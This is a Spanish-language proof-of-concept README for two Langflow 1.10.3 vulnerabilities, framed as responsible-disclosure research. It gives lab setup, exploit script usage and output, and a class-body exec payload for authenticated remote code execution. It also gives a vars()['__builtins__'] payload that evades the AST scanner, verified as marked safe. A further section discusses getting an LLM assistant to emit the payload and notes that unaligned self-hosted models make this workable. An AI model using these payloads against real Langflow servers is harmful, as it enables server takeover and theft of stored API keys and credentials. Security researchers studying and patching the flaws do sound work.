
PoC para CVE-2026-17633 — RCE autenticado en IBM Langflow OSS 1.0.0–1.10.3 a través del endpoint custom_component. Incluye investigación sobre el bypass del escáner AST de CVE-2026-17632.
Solo con fines educativos. Utilícese únicamente contra sistemas propios o para los que se disponga de autorización escrita explícita para realizar pruebas.
Langflow es una plataforma de código abierto low-code para construir aplicaciones basadas en LLM y flujos de trabajo de agentes de IA. Proporciona una interfaz visual de arrastrar y soltar donde los usuarios pueden conectar componentes — modelos, recuperadores, herramientas, memoria, código Python personalizado — en flujos ejecutables. Su función de Componente Personalizado permite a los usuarios definir el comportamiento del componente directamente en Python, que es la superficie de ataque explotada en esta investigación.
El 5 de agosto de 2026, IBM publicó un Boletín de Seguridad que divulgaba un lote de vulnerabilidades que afectan a las versiones de Langflow OSS 1.0.0 hasta la 1.10.3. El boletín completo está disponible en:
Esta investigación se centra en dos CVE de ese lote:
| CVE | CVSS | Resumen |
|---|
| CVE-2026-17633 | 8.5 ALTO | RCE autenticado a través de /api/v1/custom_component — código pasado directamente a exec() sin escaneo de seguridad |
| CVE-2026-17632 | 8.8 ALTO | Omisión del escáner de seguridad AST — código Python manipulado pasa scan_code_security() con is_safe: True mientras ejecuta comandos arbitrarios del sistema operativo |
Ambas CVE se descubrieron de forma independiente mediante el análisis estático del código fuente de Langflow 1.10.3.
Esta investigación se llevó a cabo en un entorno de laboratorio aislado contra una instancia de Langflow autoalojada. Todos los hallazgos se divulgan de forma responsable. No utilice esto contra sistemas sin autorización escrita explícita.
El endpoint POST /api/v1/custom_component en Langflow OSS 1.0.0–1.10.3 acepta código Python arbitrario de un usuario autenticado y lo ejecuta en el lado del servidor mediante la función exec() de Python. A diferencia de la ruta del Asistente Agéntico, este endpoint no llama a scan_code_security() ni a ningún otro validador de contenido basado en AST antes de la ejecución. Cualquier usuario autenticado puede lograr Ejecución Remota de Código con una sola solicitud HTTP.
CWE-94 — Control inadecuado de la generación de código
/api/v1/custom_componentFuente: langflow/api/v1/endpoints.py — línea 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Cuando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (habitual en despliegues de producción), el código va directamente a build_custom_component_template() con cero inspección de contenido.
prepare_global_scope() y ast.ExprLa cadena de ejecución conduce a create_class() en lfx/custom/validate.py, que llama a prepare_global_scope() antes de compilar y ejecutar la clase:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Una llamada a función desnuda a nivel de módulo (por ejemplo, os.system(...)) es un nodo ast.Expr — no coincide con la comprobación isinstance y se descarta silenciosamente. Sin embargo, el código colocado dentro del cuerpo de la clase forma parte del nodo ClassDef y se ejecuta en su totalidad cuando la clase se define mediante exec() dentro de compile_class_code().
Esta es la idea clave: el payload debe estar dentro del cuerpo de la clase, no a nivel de módulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
No se requiere LLM. No se necesita omitir el escáner. Una sola solicitud HTTP.
| Requisito | Valor |
|---|---|
| SO anfitrión | Kali Linux (probado) |
| Docker | CE 5.x + plugin Compose v2 |
| Imagen de Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB mínimo para el contenedor |
Cree un directorio para el laboratorio y guarde lo siguiente como docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Inicie el laboratorio:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Inicie sesión en http://127.0.0.1:7860 con las credenciales de superusuario definidas anteriormente. El token de acceso se almacena en la cookie del navegador access_token_lf. Alternativamente, recupérelo a través de la API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copie el valor de access_token de la respuesta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Salida esperada:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Salida esperada:
uid=1000(user) gid=0(root) groups=0(root)
Nota: Langflow 1.10.3 se ejecuta como
uid=1000(user)dentro del contenedor, no como root. Sin embargo, dentro del contenedor el usuario pertenece agid=0(root), y desde ahí el movimiento lateral hacia el host o los servicios conectados (claves de API del proveedor de LLM, credenciales de base de datos, tokens del almacén vectorial) es el escenario realista de post-explotación.
Mientras se analizaba el código fuente de Langflow 1.10.3 para comprender CVE-2026-17633, también se examinó la ruta de código del Asistente Agéntico. Esto condujo al descubrimiento de scan_code_security() en langflow/agentic/helpers/code_security.py — un escáner de seguridad basado en AST aplicado al código de componente generado por el LLM antes de que llegue a validate_component_runtime().
El escáner es sofisticado: rastrea alias de importación, detecta importaciones comodín, maneja la reflexión de getattr() y bloquea una lista completa de llamadas peligrosas (os.system, subprocess, exec, eval, __import__, etc.).
Un análisis cuidadoso de DANGEROUS_CALLS reveló una entrada ausente:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() está ausente. En el contexto de exec() de create_class(), vars() devuelve exec_globals, que contiene importlib heredado de los globales del módulo de validate.py. Además, ["__builtins__"] es un acceso por subíndice (ast.Subscript), no un acceso por atributo (ast.Attribute), por lo que visit_Attribute() y DANGEROUS_DUNDER_ATTRS nunca lo inspeccionan.
is_safe: TrueEl siguiente payload pasa scan_code_security() con cero violaciones:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Verificado directamente contra el escáner dentro del contenedor:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Salida:
is_safe: True
violations: ()
La ejecución del RCE también se confirmó ejecutando la omisión directamente en el mismo contexto de exec() que utiliza create_class():
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Salida en /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 se explota a través de la ruta del Asistente Agéntico:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
El mecanismo de entrega requiere que el LLM reproduzca el payload de omisión textualmente en su respuesta. En la práctica, los LLM alojados en la nube con filtros de seguridad de contenido (OpenAI, Anthropic, la mayoría de los modelos gratuitos de OpenRouter) se niegan a emitir payloads que contengan __import__, os.system o patrones similares, incluso cuando se enmarcan como investigación de seguridad o documentación.
Esta es también una restricción realista en la explotación del mundo real: un atacante que ataque una instancia de Langflow con un proveedor de LLM en la nube configurado se enfrentaría al mismo filtro de contenido. La vulnerabilidad es totalmente explotable contra despliegues que utilicen modelos autoalojados (Ollama, vLLM, LM Studio) o modelos privados ajustados sin alineación de seguridad — que representan una porción significativa de los despliegues empresariales de Langflow.
La omisión del escáner AST (is_safe: True) y el RCE mediante exec() están confirmados de forma independiente. La cadena de entrega de extremo a extremo a través del LLM es el elemento de investigación abierto para CVE-2026-17632.
Investigación realizada sobre Langflow OSS 1.10.3 en un entorno de laboratorio aislado. Boletín de Seguridad de IBM: https://www.ibm.com/support/pages/node/7282646